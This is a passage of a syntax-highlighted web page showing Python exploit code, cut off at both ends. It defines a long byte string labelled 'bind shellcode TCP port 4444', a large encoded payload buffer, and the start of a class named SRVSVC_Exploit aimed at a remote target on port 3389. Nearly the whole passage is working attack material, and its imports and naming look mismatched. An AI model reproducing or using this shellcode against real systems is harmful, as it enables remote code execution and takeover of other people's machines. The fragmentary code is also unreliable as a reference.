plain">crypto </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>011</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">from</code> <code class="python plain">freerdp.rdpRdp </code><code class="python keyword">import</code>&nbsp; <code class="python plain">rdpNego </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>012</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">#bind shellcode TCP port 4444 </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>013</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode&nbsp; </code><code class="python keyword">=</code> <code class="python string">'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>014</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>015</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>016</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>017</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>018</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>019</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>020</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>021</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>022</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>023</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>024</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>025</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>026</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>027</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>028</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>029</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>030</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>031</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>032</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>033</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>034</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>035</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">shellcode </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xba\xb5\x60\x56\x39\x4a\xb6\xa9'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>036</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python comments">#Payload </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>037</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload&nbsp; </code><code class="python keyword">=</code> <code class="python string">'\x41\x00\x5c\x00'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>038</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>039</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>040</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>041</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>042</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\x69\x6f\x4b\x4f\x39\x6f\x71'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>043</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>044</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4b\x63\x4c\x76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>045</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>046</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>047</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>048</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>049</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x75\x6c\x4b\x53\x6f\x76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>050</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>051</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4c\x4e\x6b\x6e\x69\x30\x6c\x66\x44\x45\x4c\x30\x61\x69\x53\x30'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>052</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>053</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>054</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>055</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>056</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>057</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>058</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>059</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>060</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>061</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>062</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>063</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>064</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>065</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>066</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x6f\x78\x50\x33\x58\x6b\x55\x51\x59\x4e\x66\x50\x49\x51\x47\x39'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>067</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x6f\x48\x56\x32\x70\x32\x74\x62\x74\x46\x35\x4b\x4f\x38\x50\x6e'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>068</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>069</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>070</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>071</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>072</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x41\x6b\x70\x7a\x53\x6e\x4a\x69\x6e\x32\x62\x46\x4d\x6b\x4e\x70'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>073</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>074</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>075</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>076</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>077</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>078</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>079</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b'</code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>080</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b'</code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>081</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python plain">payload </code><code class="python keyword">+</code><code class="python keyword">=</code> <code class="python string">'\x4f\x69\x46\x4b\x4f\x6e\x30\x68'</code><code class="python plain">; </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>082</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="python keyword">class</code> <code class="python plain">SRVSVC_Exploit(Thread): </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>083</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python keyword">def</code> <code class="python plain">__init__(</code><code class="python color1">self</code><code class="python plain">, target, port</code><code class="python keyword">=</code><code class="python value">3389</code><code class="python plain">): </code></span></td>        </tr>    </tbody></table></div><div class="line alt2"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>084</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python functions">super</code><code class="python plain">(SRVSVC_Exploit, </code><code class="python color1">self</code><code class="python plain">).__init__() </code></span></td>        </tr>    </tbody></table></div><div class="line alt1"><table>    <tbody>        <tr>            <td class="number"><span style="color: rgb(0,128,128)"><code>085</code></span></td>            <td class="content"><span style="color: rgb(0,128,128)"><code class="spaces">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="python color1">self</code><code class="python plain">.__port&nbsp;&nbsp; </code><code class="python keyword">=</code> <code class="python 